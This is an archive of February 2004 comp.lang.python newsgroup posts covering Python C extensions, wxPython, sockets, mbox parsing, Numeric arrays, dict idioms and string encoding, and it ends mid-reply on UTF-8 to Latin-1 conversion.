Subject: Boa Constructor Plug-in for ploting?
Message-ID: <403ef4a5$0$1781$a729d347@news.telepac.pt>

Is there a Boa Constructor plug-in using a scipy based plot interface like
Chaco or scipy.plt out there?
I have been using wxPyPlot witch is based on scipy.plot but laks many of its
features...

Tks...
Paxcal




From No.Spam.mc at No.Spam.mclaveau.No.Spam.com  Tue Feb 10 08:44:39 2004
From: No.Spam.mc at No.Spam.mclaveau.No.Spam.com (Michel Claveau/Hamster)
Date: Tue, 10 Feb 2004 14:44:39 +0100
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
Message-ID: <c0aqkv$ch9$1@news-reader4.wanadoo.fr>

Hi !

See Erlang : the web-server-sample can serve more than 50000 connexions on
one standard cpu.






From jdhunter at ace.bsd.uchicago.edu  Sun Feb 22 12:17:53 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Sun, 22 Feb 2004 11:17:53 -0600
Subject: python extension: incref question
Message-ID: <m2fzd3yqwu.fsf@mother.paradise.lost>


I am writing a python extension and have a question about reference
counting on an attribute I set.  I am using standard boilerplate code
for defining a new type.

I implement the setattr methods, and want to set some numeric values
from within the extension code.  I create the new GlyphObject and set
the attributes with

  GlyphObject *gm;
  gm = PyObject_New(GlyphObject, &Glyph_Type);
  //handle error  
  gm->x_attr = NULL;
  Glyph_setattr(gm, "width", PyInt_FromLong(self->face->glyph->metrics.width));
  Glyph_setattr(gm, "height", PyInt_FromLong(self->face->glyph->metrics.height));

where

static int
Glyph_setattr(GlyphObject *self, char *name, PyObject *v)
{
  if (self->x_attr == NULL) {
    self->x_attr = PyDict_New();
    if (self->x_attr == NULL)
      return -1;
  }

  if (v == NULL) {
    int rv = PyDict_DelItemString(self->x_attr, name);
    if (rv < 0)
      PyErr_SetString(PyExc_AttributeError,
		      "delete non-existing Glyph attribute");
    return rv;
  }
  else {
    return PyDict_SetItemString(self->x_attr, name, v);
  }
}

http://www.python.org/doc/current/ext/ownershipRules.html states

  PyDict_SetItem() and friends don't take over ownership -- they are
  ``normal.''

I infer from this that since a new ref is created by PyInt_FromLong,
and PyDict_SetItemString doesn't take ownership, that I should
decrease the reference count in my types dealloc function.  Is this
correct?

Thanks,
John Hunter



From amy-g-art at cox.net  Tue Feb  3 02:33:42 2004
From: amy-g-art at cox.net (Amy G)
Date: Mon, 2 Feb 2004 23:33:42 -0800
Subject: Question about 'if __name__ == "__main__":'
Message-ID: <k9ITb.28697$P17.28414@fed1read03>

I have a program that needs a little help.
Right now the program runs in my crontab.  When it runs, it sets a few
variables based on a query to a MySQL database.  I would like to modify it
so that it can run as it is... or if arguments are supplied, use those
instead of querrying the database.

Will using this statement help me out?

if __name__ == "__main__":

I seem to recall that this returns true if it is run as a script by python,
rather than as a module from another prog.  Since I am going to run this
from a command line - or from my crontab... it will always return true as
far as I can tell.

Any suggestions to help me out.

Ultimately I want something like this pseudocode...

if (no args supplied):
    curs.execute("""SELECT userid FROM users""")
    data = curs.fetchall()
else:
    data = sys.argv[1]

do something with data:
    blah
    blah
    blah

Thanks in advance for your help.




From pythonguy at Hotpop.com  Wed Feb 25 01:04:03 2004
From: pythonguy at Hotpop.com (Anand Pillai)
Date: 24 Feb 2004 22:04:03 -0800
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake><480m30hd68ncg81if70n81h8tict03oda3@4ax.com>	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.57.1077648520.8594.python-list@python.org>
Message-ID: <84fc4588.0402242204.d884fb6@posting.google.com>

In the news article, it says that the Microsoft made a "polite request".
I dont think that they actually "threatened" Julian and Robin like they
did to that teenage boy. These guys are not teenagers you know :-)

It looks to me more like an agreement worked out between M$ and
Julian/Robin with some apologies from the M$ lawyers pleading
with them how much they need to defend the "Windows" and "Microsoft"
namespaces from being polluted by the big bad world out there. 

They started with Lindows, went to Mike Rowe, now wxWindows,
now "Where do they want to go today" ?

Someone should direct the M$ lawyers to the new M$ ad being showed
on TV everyday these days. At least that will help them to get
"next big ideas" instead of worrying about namespaces.

-Anand

"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<mailman.57.1077648520.8594.python-list at python.org>...
> "Piet van Oostrum" <piet at cs.uu.nl> wrote in message
> news:wzy8qsfqe6.fsf at ordesa.cs.uu.nl...
> 
> > So what will happen to the X Window system, often referred to as
> XWindows.
> 
> Isn't there a consortium or something, with much more resources ($$$) to
> fight than Julian and Robin have?  Anyway, I have the impression (possibly
> wrong) that WxWindows started out to be compatible with and a clone of and
> was originally named after MS Windows, while the X Window system preceeds
> MSW, so that the cases (and possible court outcomes) are different.
> 
> It is a complement to Julian and Robin that MS noticed them enough to
> threaten and negotiate with them.  Also that they did not just cave but
> negotiated a 6 month transition period and $ for transition costs.
> 
> > And what about the comp.windows.x newsgroup hierarchy?
> 
> Who are they going to sue?
> 
> Terry J. Reedy


From paul at prescod.net  Tue Feb  3 02:04:13 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 02 Feb 2004 23:04:13 -0800
Subject: in c extension what is easiest way to build a (PyObject) list
 from	an array of doubles?
In-Reply-To: <bf23f78f.0402022256.7ace879c@posting.google.com>
References: <bf23f78f.0402022256.7ace879c@posting.google.com>
Message-ID: <401F47ED.6070405@prescod.net>

Christian Seberino wrote:

> In c extension what is easiest way to build a (PyObject) list from an
> array of doubles?

No. Check out the array module.

  Paul Prescod





From Alexandre.Fayolle at logilab.fr  Tue Feb 17 12:57:34 2004
From: Alexandre.Fayolle at logilab.fr (Alexandre)
Date: Tue, 17 Feb 2004 18:57:34 +0100
Subject: [ANN] logilab.common 0.4.4
Message-ID: <mailman.1077042065.30250.clpa-moderators@python.org>


I'm pleased to announce the 0.4.4 release of Logilab's common
libraries. This is essentially a bug fix releases plus some minor
features.

What's new ?
------------
* modutils: special case for os.path in get_module_part

* astng: handle special case where we are on a package node importing a module
  using the same name as the package, which may end in an infinite loop
  on relative imports in Node.resolve

* fileutils: new get_by_ext function


What is common ?
----------------
This package contains some modules used by differents Logilab's
projects. Since it's useful to Logilab, it should be useful to others ;o)
It contains library to ease :
* command line / configuration file handling
* interactive command line tools
* files and text manipulation
* using python instead of shell scripts
* interface to OmniORB
* generation of SQL queries
* tests execution
* manipulation of trees
* access to SGBD (currently postgres and mysql)
* ...


Home page
---------
http://www.logilab.org/projects/common

Download
--------
ftp://ftp.logilab.org/pub/common

Mailing list
------------
mailto://python-projects at lists.logilab.org


-- 
Alexandre Fayolle                              LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org
Advanced computing - Python - Customized trainings - Consulting - XML
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From jcarlson at nospam.uci.edu  Mon Feb  2 19:04:03 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 16:04:03 -0800
Subject: wxPython: Transferring keyboard events from one frame to another
In-Reply-To: <c335e460.0402020935.36b00bcc@posting.google.com>
References: <c335e460.0402020935.36b00bcc@posting.google.com>
Message-ID: <bvmolq$aud$2@news.service.uci.edu>

> I'm in the process of implementing a virtual keypad: I have a wxFrame
> which contains a photo the keypad of some device, and I'm using it to
> enter special keywords into an editor window (wxStc). Each part of the
> photo is associated with a certain keyword, which is sent to the
> editor frame and displayed inside the editor. This is working fine.
> However, if I want a proper virtual keyboard I should also be able to
> transfer the regular keypresses (keyboard events) from my virtual
> keypad frame to the editor frame, in order to save the user the
> trouble of clicking on the editor window every time in order to set
> the focus.

Question:
Is your 'virtual keypad' /showing keypresses/, or is your 'virtual 
keypad' used for text entry with a mouse?


From miki.tebeka at zoran.com  Wed Feb  4 10:33:33 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 4 Feb 2004 07:33:33 -0800
Subject: self-extracting installer
References: <f6554b84.0402040129.15d6807c@posting.google.com>
Message-ID: <4f0a9fdb.0402040733.2b211f69@posting.google.com>

Hello Sylwia,

> How can I create in Python a self-extracting file containing some files that
> automaticly starts the setup program when I double click on the file?
I use py2exe + NSIS installer.

HTH.
Miki


From bldrake at adaptcs.com  Mon Feb  9 16:24:28 2004
From: bldrake at adaptcs.com (Barry Drake)
Date: 9 Feb 2004 13:24:28 -0800
Subject: winapi: mouseclick
References: <mailman.855.1075213039.12720.python-list@python.org>
	<JlDRb.20248$mf4.855974@news20.bellglobal.com>
	<FzDRb.20396$mf4.859494@news20.bellglobal.com>
Message-ID: <377cfc08.0402091324.323f9074@posting.google.com>

KNS <netquest at sympatico.ca> wrote in message news:<FzDRb.20396$mf4.859494 at news20.bellglobal.com>...
> It's looking like I must use pyHooks...Thanks.

I would like to use pyHooks also.  I've downloaded and installed using
the .exe installer and grabbed the CVS tree.  But, there is no pyHooks
module???  The first line of the pyHooksManager.py file is

from pyHook import *

and in the example.py

from pyHookManager import *

Without a pyHook module these both fail.  Anyone know what I need to
do to make this work?  I've also tried to install the CVS version, but
it requires MS VC++ 6.0, which I don't have.

Thanks.
Barry Drake


From john.burton at jbmail.com  Sun Feb 15 06:29:41 2004
From: john.burton at jbmail.com (John Burton)
Date: Sun, 15 Feb 2004 11:29:41 -0000
Subject: IPv6 question
Message-ID: <9r14g1-1vu.ln1@neon.jbmail.com>

I'm not sure if this is a question about python socket support or sockets in
general ...

I have a socket server with which I want to accept incoming connections on
ipv4 and ipv6.
I've found that if I create the listening socket with
sock = socket(AF_INET, SOCK_STREAM)
it will accept connections on ipv4 (only) and if I create it with
sock = socket(AF_INET6, SOCK_STREAM)
it will accept connections with ipv6 (only)

Is there a way to make a single socket accept connections using both
protocols?
Or do I need create two sockets and listen on them both?




From merkosh at hadiko.de  Mon Feb  2 18:32:58 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Tue, 03 Feb 2004 00:32:58 +0100
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
Message-ID: <bvmmn5$t5a$1@news.rz.uni-karlsruhe.de>

Irmen de Jong wrote:

>From C++ and Java we "learn" that you shouldn't do that.

>  From C++? Didn't think so... C++ is perfectly capable of
> multiple inheritance. Or do you mean that you can get into
> trouble quickly because of the various access levels,
> virtual base classes etc?

That was a stupid sentence from me, sorry. On a lecture on software
engeneering I was tought that multiple inheritance was a bad thing to do,
since there are problems with the resolution order which leads to badly
readable code, induces errors, shows poor software design, etc.
I see the point in that. Their most favourite programming language is Java
which doesn't support m.i. anyways.
When writing the sentence above I was implying that m.i. in C++ propably is
difficult to handle (though I never programmed much C++) and then Java,
being a more modern programming language, abandoned m.i. in favour for
interfaces.

The problem I was working on in the first mail is written in PyQt, a Qt
extention for Python.
There you create your base classes in the Qt Designer. Functionality is
added by subclassing the base class and overriding the appropriate methods.
Since you then *have* to subclass from your Qt-Designer-base-class you're
alreade done once with inheriting.

BTW: when doing m.i. you can't mix new-style and old-style objects, or else
Python exits with a Segmentation Fault. :)

The second base class I am using implemented something like the Qt SIGNAL
and SLOT mechanisme (observer design pattern). This is perhaps rather a
"uses" or "can do" relationship than an "is a" relationship. I should have
delegated the signalling capabilities to another object, rather than to
inherit from it. However, I would have had to introduce a new instance
variable to delegate work to and all other objects relying on that
interface would have to be made aware of it.
To do this I could again introduce accessors... hmmm - I think I got to
think this over.

How much effort is it worth to keep up good transparent programming design
at cost of more code, more levels of delegation (slower) and a more complex
interior in general?

Ciao
Uwe


From jcarlson at nospam.uci.edu  Sun Feb 29 16:09:33 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 29 Feb 2004 13:09:33 -0800
Subject: Python C Interface: finding out the called method's name in C
 PyMethod?
In-Reply-To: <mailman.239.1077968766.8594.python-list@python.org>
References: <mailman.239.1077968766.8594.python-list@python.org>
Message-ID: <c1tkjg$4eg$1@news.service.uci.edu>

> So, it there a way to find out the called method name from a PyMethod C 
> function?

There is a straightforward method using the inspect module in Python:
http://www.python.org/doc/current/lib/inspect-stack.html

You could create a function in Python that calls current_frame(), pulls 
out the name of your C method, and returns it.

  - Josiah



From __peter__ at web.de  Fri Feb 13 05:41:10 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 13 Feb 2004 11:41:10 +0100
Subject: Multiply a tuple by a constant
References: <1d17eeb7.0402130220.7258a5bd@posting.google.com>
Message-ID: <c0i9k7$p3$05$1@news.t-online.com>

Jay Davis wrote:

> I often need to multiply a tuple by a
> constant and the methods I use now are
> not very pretty.  The idea is to get a
> new tuple that is some factor times the
> start tuple, like  'newtup = .5 * oldtup'.
> 
> Is there a slick way to do this?

Not really slick, but it works:

>>> tuple(map(5 .__mul__, (1,2,3)))
(5, 10, 15)

The space after the 5 is necessary. Alternatively, you can wrap the constant
in brackets:

>>> tuple(map((5).__mul__, (1,2,3)))
(5, 10, 15)

Peter



From jacek.generowicz at cern.ch  Thu Feb 26 07:18:56 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 13:18:56 +0100
Subject: Play with classes
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
	<tyfy8qqkpfn.fsf@pcepsft001.cern.ch>
Message-ID: <tyfu11ekp8v.fsf@pcepsft001.cern.ch>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> ======================================================
> class TypeA: pass
> class TypeB: pass
> class TypeC: pass
> class SubtypeA: pass
> class SubtypeB: pass
> 
> collect_bases = [(Mode, Type, Subtype)
>                  for Mode in [ModeA, ModeB]
>                  for Type in [TypeA, TypeB, TypeC]
>                  for Subtype in [SubtypeA, SubtypeB]]
> 
> count = 0
> for bases in collect_bases:
>     name = "UserClass%d" % count
>     the_class = type(name, bases, {})
>     globals()[name] = the_class
>     count += 1
> ======================================================

Oooops, the first 4 lines got lost:

======================================================
__metaclass__ = type

class ModeA: pass
class ModeB: pass
class TypeA: pass
class TypeB: pass
class TypeC: pass
class SubtypeA: pass
class SubtypeB: pass

collect_bases = [(Mode, Type, Subtype)
                 for Mode in [ModeA, ModeB]
                 for Type in [TypeA, TypeB, TypeC]
                 for Subtype in [SubtypeA, SubtypeB]]

count = 0
for bases in collect_bases:
    name = "UserClass%d" % count
    globals()[name] = type(name, bases, {})
    count += 1
======================================================


From phleum_nospam at chello.se  Wed Feb  4 13:14:50 2004
From: phleum_nospam at chello.se (Carl)
Date: Wed, 04 Feb 2004 19:14:50 +0100
Subject: A matrix problem. Please help!
Message-ID: <8zaUb.2767$O41.76012@amstwist00>

I have the following matrix that I want to transform:
    
import random
import Numeric as N
ru = []
for i in range(25):
    ru.append(int(random.uniform(0, 2)))
ru = N.reshape(ru, (5, 5))

>>> ru
array([[1, 0, 1, 1, 1],
       [0, 1, 1, 1, 0],
       [1, 1, 0, 0, 1],
       [0, 1, 0, 0, 1],
       [1, 1, 0, 1, 1]])

Trailing numbers (ie, from left to right) after the first encounter of a "1"
for all rows should equal "0".

Thus, I want this:

>>> ru
array([[1, 0, 0, 0, 0],
       [0, 1, 0, 0, 0],
       [1, 0, 0, 0, 0],
       [0, 1, 0, 0, 0],
       [1, 0, 0, 0, 0]])

Does anyone have a suggestion of a fast and easy way to accomplish the
above?

Carl



From __peter__ at web.de  Tue Feb 17 03:20:30 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 17 Feb 2004 09:20:30 +0100
Subject: Hiding/showing Tkinter.Canvas items
Message-ID: <c0sise$it8$04$1@news.t-online.com>

Before I start moving them into dark corners of the canvas - is there a way
to hide/show Tkinter canvas items without having to maintain their original
position externally? All I've found so far is sortvisu.py in the demos that
toggles their coordinates between (0,0,0,0) and the real position/size. 

Thanks,
Peter


From llothar at web.de  Sun Feb 22 16:48:36 2004
From: llothar at web.de (Lothar Scholz)
Date: 22 Feb 2004 13:48:36 -0800
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org>
Message-ID: <6ee58e07.0402221348.46171b05@posting.google.com>

"Ziaran _" <nir1408 at hotmail.com> wrote in message news:<mailman.160.1077453987.27104.python-list at python.org>...
> I have written a new debugger.
> I think people will find it useful.
> Where can I post it for people to download?

What is so different from the existing ones ?


From godoy at ieee.org  Mon Feb  9 06:57:41 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Mon, 09 Feb 2004 09:57:41 -0200
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<102bb30d5422pd4@news.supernews.com>
Message-ID: <l69kf1-9e8.ln1@wintermute.g2ctech>

On Sunday 08 February 2004 01:24 John Roth wrote in
<102bb30d5422pd4 at news.supernews.com>:

> I suspect you've got the callback logic backwards. The basic
> layering pattern is "call down, notify up," and it's the upper
> layer's responsibility to request the notification.
> 
> To explicate: the GUI module calls the domain
> module for service. It also calls the domain module
> to register callbacks, passing the function that it
> want's called.
> 
> When the domain layer has something it wants to
> tell the GUI layer, it simply runs a (possibly empty)
> list of callback functions.

Can you exemplify it?

I'm very interested on such approach and I'm going to read a little
more about it, but examples in Python would help a lot. 


TIA,
-- 
Godoy.     <godoy at ieee.org>


From python at rcn.com  Sun Feb 29 16:20:45 2004
From: python at rcn.com (Raymond Hettinger)
Date: 29 Feb 2004 13:20:45 -0800
Subject: Thoughts on new vs traditional idioms
References: <5d83790c.0402290218.2d3c493f@posting.google.com>
	<c1sjkg$c64$02$1@news.t-online.com>
Message-ID: <5d83790c.0402291320.2552dddd@posting.google.com>

[Peter Otten]
> This is the first time I've seen the init as update idiom 

That's why I made this post.  I don't think everyone knows that the
type constructor is good for copying and that __init__ can be called
on existing objects.


> this is clearly
> not a case of love at first sight. Objects cumulating data over subsequent
> calls of __init__() seems unintuitive to me.

It certainly lacks beauty.  OTOH, any uses of it are portable back to
Py2.2 and it is much faster and more memory efficient than creating a
temporary dictionary to pass to dict.update().

Also, the aesthetics can be restored by defining a synonym:

   itemupdate = dict.__init__

The important point is that the functionality is already available and
most folks don't know about it.



> Why isn't dict.update() enhanced to handle all three cases? You might
> actually use the same implementation for both __init__() and update().

I've re-opened Bob's patch with this alternate implementation of
making both use the same code.


Raymond Hettinger


From matthewleslie at hotmail.com  Mon Feb  2 16:09:01 2004
From: matthewleslie at hotmail.com (Matt Leslie)
Date: Mon, 02 Feb 2004 15:09:01 -0600
Subject: threaded code in IDLE
Message-ID: <bvme60$4b5$1@info4.fnal.gov>

This code:

**************
import thread

def doprint(i):
     print i

for i in range(0,100):
     thread.start_new_thread(doprint,(i,))
*************

Will run fine from the windows command line, but consistently
crashes IDLE on windows (it locks up with no error message)

Is this a known bug?

Is there a workaround?

Thanks,
	Matt


From philh at invalid.email.address  Sun Feb  8 17:15:54 2004
From: philh at invalid.email.address (phil hunt)
Date: Sun, 8 Feb 2004 22:15:54 +0000
Subject: Release announcement for Easibox 0.5.0
References: <slrnc20g2s.e4v.philh@cabalamat.cabalamat.org>
	<slrnc28q17.7n.isaac@latveria.castledoom.org>
Message-ID: <slrnc2dd8q.3p6.philh@cabalamat.cabalamat.org>

On Sat, 07 Feb 2004 04:23:03 GMT, Isaac <isaac at latveria.castledoom.org> wrote:
>On Wed, 4 Feb 2004 00:44:12 +0000, phil hunt <philh at invalid.email.address> 
>wrote:
>> 
>> Release notes for the latest version of Easibox:
>>    <http://www.cabalamat.org/weblog/current_easibox.html>
>
>Phil,
>
>I was unable to follow the links on www.cabalamat.org to find Easibox.  I
>was able to find it via the links on Freshmeat. 

The cabalamat site is down for now -- I'm in the process of 
relocating it to a different web hosting company. 

Try looking at:
<http://www.zen19725.zen.co.uk/oss/easibox/intro.html>

Note I have changed the Freshmeat record to reflect this.


-- 
"It's easier to find people online who openly support the KKK than 
people who openly support the RIAA" -- comment on Wikipedia
(Email: zen19725 at zen dot co dot uk)  




From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Fri Feb 27 18:20:35 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sat, 28 Feb 2004 00:20:35 +0100
Subject: Python as replacement for PHP?
In-Reply-To: <c1obji$8m9$1@solaris.cc.vt.edu>
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
Message-ID: <403fd0c6$0$573$e4fe514c@news.xs4all.nl>

Bart Nessux wrote:

> When it comes to dynamic, DB driven sites, PHP is the only way to go. 
> Python is not even close to being suited for this task.

WTF??

--Irmen


From haasje at welmers.net  Mon Feb  2 15:37:05 2004
From: haasje at welmers.net (Bastiaan Welmers)
Date: Mon, 02 Feb 2004 21:37:05 +0100
Subject: Finding messages in huge mboxes
Message-ID: <401eb54c$0$315$e4fe514c@news.xs4all.nl>

Hi,

I wondered if anyone has ever met this same mbox issue.

I'm having the following problem:

I need find messages in huge mbox files (50MB or more).
The following way is (of course?) not very usable:

fp = open("mbox", "r")
archive = mailbox.UnixMailbox(fp)
i=0
while i < message_number_needed:
   i+=1
   archive.next()

needed_message = archive.next()

Especially because I often need messages at the end
of the MBOX file.
So I tried the following (scanning messages backwards
on found "From " lines with readline())

i=0
j=0
while 1:
  i+=1
  fp.seek(-i, SEEK_TO_END=2)
  line = fp.readline()
  if not line:
     break
  if line[:5] == 'From ':
     j+=1
     if j == total_messages - message_number_needed:
        archive.seekp = fp.tell()
        message = archive.next()
        # message found

But also seems to be slow and CPU consuming.

Anyone who has a better idea?

Regards,

Bastiaan Welmers


From no.mail at no.mail.it  Mon Feb  9 20:25:53 2004
From: no.mail at no.mail.it (robsom)
Date: Tue, 10 Feb 2004 01:25:53 +0000 (UTC)
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<40255c6c@nntp0.pdx.net>
Message-ID: <pan.2004.02.10.01.24.51.342277@no.mail.it>

Il Sat, 07 Feb 2004 13:04:05 -0800, Scott David Daniels ha scritto:

> A way to stay reasonably fast is to use split when it works:
> 
>      lengths = 3,4,2,2,2,8,1,8,3,2,4,2,2,2,2,6
>      ...
>      result = line.split()
>      if len(result) != len(lengths):
>          result, pos = [], 0
>          for length in lengths:
>              next = pos + length + 1
>              result.append(line[pos : next].strip())
>              pos = next
>      ...

I think I understand what you mean, but what data type is lenghts?
is it a list or a tuple? In this case there should be the parenthesis,
shouldn't they?
Sorry, I'm really making newbie silly questions :), but I couldn't find
that in my reference manual.
In any case this would work only when all the elements in a column have
the same length, which, as I said, is not always the case. thanks a lot

R


From tjreedy at udel.edu  Tue Feb 24 09:46:08 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 09:46:08 -0500
Subject: Bartok card game
References: <403ae161$0$4260$afc38c87@news.optusnet.com.au>
Message-ID: <c1fo3g$k8i$1@sea.gmane.org>


"Sam" <stardif10 at hotmail.com> wrote in message
news:403ae161$0$4260$afc38c87 at news.optusnet.com.au...
> Hey all,
>
> I want to create a computerised version of this game, though I'm not
> really sure how to go about it. For those who don't know how the game
> works, here's my attempt at a brief description:
>
> It is very similar to the card game Uno, though played with a standard
> deck of cards. An initial card is played off the top of the deck, and
> then each player has to play a card of the same suit, or the same face
> value in another suit. Whoever gets rid of all their cards first is the
> winner.
>
> The tricky bit is, the winner of a round gets to make up a new rule.
> Some examples might be "when a club is played, skip the next player", or
> "when a heart is played, the next player draws 2 cards", etc. So, I am
> looking for a way to dynamically add rules to the game, without limiting
> the possibilities too harshly. I could always just give a select few
> rules to choose from, but then the game loses it's fun ;)

Have winner separately select condition (from lists of suit and rank) and
action (from a list).  Number of possible rules is product of number of
possible conditions and actions.  Condition in turn is combination of
'suit' (any, red, black, spade, heart, diamond, club) and 'rank' (any,
1-13, even, odd, face).  Number, again, is a product: 7 * 17= 119 (- 1 for
any,any) for sample lists above.  Multiply by number of actions and you
have more than 'a select few' possible rules.  For even more, allow or-ing
of two ranks (3 or 7, etc).

Terry J. Reedy






From bert at visi.com  Thu Feb  5 15:22:18 2004
From: bert at visi.com (Bert Hyman)
Date: 5 Feb 2004 20:22:18 GMT
Subject: Funnying the From (was: OT: Recommended news reader?)
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <10257t58fdgvi67@corp.supernews.com>
Message-ID: <Xns9486923064F40VeebleFetzer@news.visi.com>

claird at lairds.com (Cameron Laird) wrote in
news:10257t58fdgvi67 at corp.supernews.com: 

> I didn't know that "From:" *could* be customized through
> common configurations.  Does anyone know how to set it
> with trn(1)?  

Does "trn" still post through the external "Pnews" program? If so,
you can edit your post before sending it to include a "From:" header
of your liking and the server ->should accept it. 

The last time I saw it, Pnews was a Bourne shell program, so you
could find the copy on your system, copy it and change it any way you
like. 

-- 
Bert Hyman | St. Paul, MN | bert at visi.com


From uche at ogbuji.net  Sat Feb 21 10:21:13 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 21 Feb 2004 07:21:13 -0800
Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<2c60a528.0402150158.e1768e4@posting.google.com>
	<Gz3Yb.3921$Cd6.177581@news20.bellglobal.com>
Message-ID: <d116fbae.0402210721.3ac8d29a@posting.google.com>

Chris Herborth <chrish at cryptocard.com> wrote in message news:<Gz3Yb.3921$Cd6.177581 at news20.bellglobal.com>...
> Andrew Clover wrote:
> 
> > With simple XML and a bit of care avoiding problem areas (see eg.
> > http://pyxml.sourceforge.net/topics/compliance.html ) it is possible to
> > write software that will work equally well with minidom, cDomlette and
> > other DOM implementations.
> 
> Ain't standards great? ;-)

We never claim cDomlette to be a DOM implementation.  The main page
for cDomlette info is:

http://uche.ogbuji.net/tech/akara/nodes/2003-01-01/domlettes

It starts with:

"Domlette is 4Suite's lightweight DOM implementation. It is optimized
for XPath operations, speed, and relatively low memory overhead, at
least when compared to 4DOM and minidom. It is not fully DOM
compliant, but it does provide an interface very close to DOM Level 2.
In Domlette, where DOM and XPath disagree, XPath wins."

That last point is the salient one.  We wrote cDomlette for a reason:
4XSLT was *way* too slow operating on standard DOM and we needed a
super-fast alternative specialized for XPath processing.  The emphasis
was on XPath data model rather than DOM.  Both, BTW, are W3C standards
and yet they conflict in a few key ways.  Go figure.

Anyway, cDomlette is a useful and very fast general API for XML
processing.  You can use it if you don't need full DOM support.

--Uche
http://uche.ogbuji.net


From no.mail at no.mail.it  Sun Feb  8 09:41:55 2004
From: no.mail at no.mail.it (robsom)
Date: Sun, 8 Feb 2004 14:41:55 +0000 (UTC)
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<m3ad3usiop.fsf@hamster.pflaesterer.de>
Message-ID: <pan.2004.02.08.14.03.15.475979@no.mail.it>

Il Sat, 07 Feb 2004 22:10:17 +0100, Karl Pfl?sterer ha scritto:

> What do you want to be done?  To see if an item is missing is trivial:
> just check the length of the splitted line (a list).  But what the right
> action in that case is belongs to you; should the user be asked? is
> always the same column missing? is it possible to distinguish the
> entries without errors from each other so the programm can decide which
> column is missing?

Ok, I'll try to give some more detail. These are files with data from
field measurements and contain information about location, time,
measurement, measurement flag, error, detection limit, calibration and
other stuff like that. The problem is that they are made by different
groups and are not always consistent in their format and I'm trying to
write a code which is as general as possible.
When a table has fixed-width columns and each element is correctly aligned
as in the example I showed you, the problem is solved by slicing the
string as Skip Montanaro suggested in his answer (thanks!), but this is
not always the case. For example I can have something like this:

47.455677 456.67
47.4558 453.8
47.46789 -9999
47.4567 456

where -9999 (or somethinbg similar) indicates there is a blank, one space
divides the columns and the elements can have a different number of
digits. This is of course a worst-case scenario :)
That is why I used split in the beginning, but then I fall into the other
problem, when there is a missing value.
Any suggestions will be much appreciated, thanks

R




From me at privacy.net  Tue Feb 24 10:36:10 2004
From: me at privacy.net (Duncan Booth)
Date: 24 Feb 2004 15:36:10 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<36wu11g8ums.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <Xns94998CAB91DACduncanrcpcouk@127.0.0.1>

Matthias <no at spam.pls> wrote in
news:36wu11g8ums.fsf at goya03.ti.uni-mannheim.de: 

>> The advantage of min and max as builtins are that they work on any 
>> sequence. In particular they work on iterators. Having functions that
>> apply to an arbitrary sequence avoids a lot of potential code
>> duplication. 
> 
> Do you mean code duplication on the user side?  Or code duplication in
> Python's implementations?  In the latter case, it seems strange to
> force inconsistent method/function usage on thousands of developers
> just in order to save a couple of lines in Python's source code.

I mean code duplication on the user side. A function that operates on every 
iterator or sequence type is far more useful than a protocol that more 
often than not wouldn't be implemented.

> 
> To me, Python's builtins are by far not a "problem", but I admit that
> I never understood why astring.len() doesn't work.
> 
Because it would have to begin and end with two underscores (thats the 
naming convention for special methods), and astring.__len__() already does 
what you want. But I think it is mostly for historical reasons.


From marfal at gmx.de  Thu Feb  5 14:10:53 2004
From: marfal at gmx.de (Markus Faltin)
Date: Thu, 05 Feb 2004 20:10:53 +0100
Subject: convert utf-8 to latin-1?
In-Reply-To: <bvtuur$hg$1@news.rz.uni-karlsruhe.de>
References: <bvtuur$hg$1@news.rz.uni-karlsruhe.de>
Message-ID: <4g4uvb.p69.ln@berryworld.de>

Uwe Mayer wrote:

> in a PyQt application I'm writing, the user can select a filename with a
> FileDialog. Then I would like to open this file. This works fine if there
> are no "special symbols" in the filename, such as the german umlauts: "???"
> 
> Currently I convert the returned, of what I'm pretty sure its a utf-8 string
> object, to a normal string using the str() function. But then my string
> contains garbage and I cannot find that file on my ext3 fs (which uses
> latin-1).

Decode the string to unicode and then encode it to latin-1:
